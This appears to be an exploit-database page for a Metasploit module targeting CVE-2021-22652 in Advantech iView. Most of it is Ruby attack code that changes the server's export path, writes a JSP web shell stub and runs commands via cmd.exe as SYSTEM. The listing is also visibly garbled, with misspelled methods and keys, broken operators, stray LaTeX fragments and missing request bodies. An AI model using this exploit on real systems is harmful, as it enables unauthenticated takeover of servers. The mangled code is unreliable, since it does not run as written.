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Advantech iView Unauthenticated Remote Code Execution

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This Metasploit module exploits an unauthenticated configuration change combined with an unauthenticated file write primitive, leading to an arbitrary file write that allows for remote code execution as the user running iView, which is typically NT AUTHORITY\SYSTEM. This issue was demonstrated in the vulnerable version 5.7.02.5992 and fixed in version 5.7.03.6112.

tags | exploit, remote, arbitrary, code execution ies | CVE-2021-22652

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```
case target['Type']
when vain cmd
execute_command(payload.encoded)
when vain_dropper
execute_condstager
when ipsh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.encoded,
payload.ench.first,
remove_comspec: true
))
 restore_config(config) if config && updated end
def retrieve_config
  print_status('Retrieving config')
     res = send_request_cgi(
'method' => 'FOST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'vars_post' >> {
    'page_action_type' => 'retrieveSystemSettings'
     unless res %% res.code == 200 %% (config = res.get_json_document.first) fail_with(Failure::NotFound, 'Failed to retrieve config') end
     print_good('Successfully retrieved config')
vprint_line(JSON.pretty_generate(config))
 config
end
def update_config(config)
  print_status('Updating config')
      config = config.dup
config['EXPORTPATH'] = 'webapps\\iView3\\'
     res = send_request_cgi(
'method' -> 'PoST',
'uri' -> normalize_uri(target_uri.path, 'NetworkServlet'),
'vars_post' -> {
                 vars_post' => {
  'page_action_type' => 'updateSystemSettings',
  'json_obj' => config.to_json
     unless res && res.code == 200 && (config = res.get_json_document.first) fail_with(Failure::NotFound, 'Failed to retrieve updated config') end
     unless config('EXPORTPATH') == 'webapps\\iView3\\' fail_with(Failure::NotVulnerable, 'Failed to update config') end
      print_good('Successfully updated config')
vprint_line(JSON.pretty_generate(config))
true
end
def write_jsp_stub
   print_status('Writing JSP stub')
     unless res && res.code == 200 fail_with(Failure::NotVulnerable, 'Failed to write JSP stub') end
      register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")
 print_good('Successfully wrote JSP stub')
end
def execute_command(cmd, _opts = {})
  cmd.prepend('cmd.exe /c ')
      print_status("Executing command: #{cmd}")
    unless res && res.code == 200 fail_with(Failure::PayloadFailed, 'Failed to execute command') end
 \label{linear_print_good('Successfully executed command')} end \\
def restore_config(config)
  print_status('Restoring config')
    res = send request_cqi(
    "method' => 'POST',
    "uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
    "vars_post' => {
        'page_action_type' -> 'updateSystemSettings',
        'jsm_bb' -> config.to_json
    unless res %% res.code == 200 %% (config = res.get_json_document.first)
    fail_with(Failure::NotFound, 'Failed to retrieve restored config')
end
    if config['EXPORTPATH'] == 'webapps\\iView3\\'
    fail_with(Failure::UnexpectedReply, 'Failed to restore config')
end
print_good('Successfully restored config')
vprint_line(JSON.pretty_generate(config))
end
\label{eq:continuous} $$ (s = \sup_{s \in \mathbb{R}} (s, s) = (request.getParameter("f{jsp_param}")); $>) $$ (s) $$
def jsp_param
  @jsp_param ||= rand_text_alphanumeric(8..42)
end
def jsp_filename
  @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
end
```

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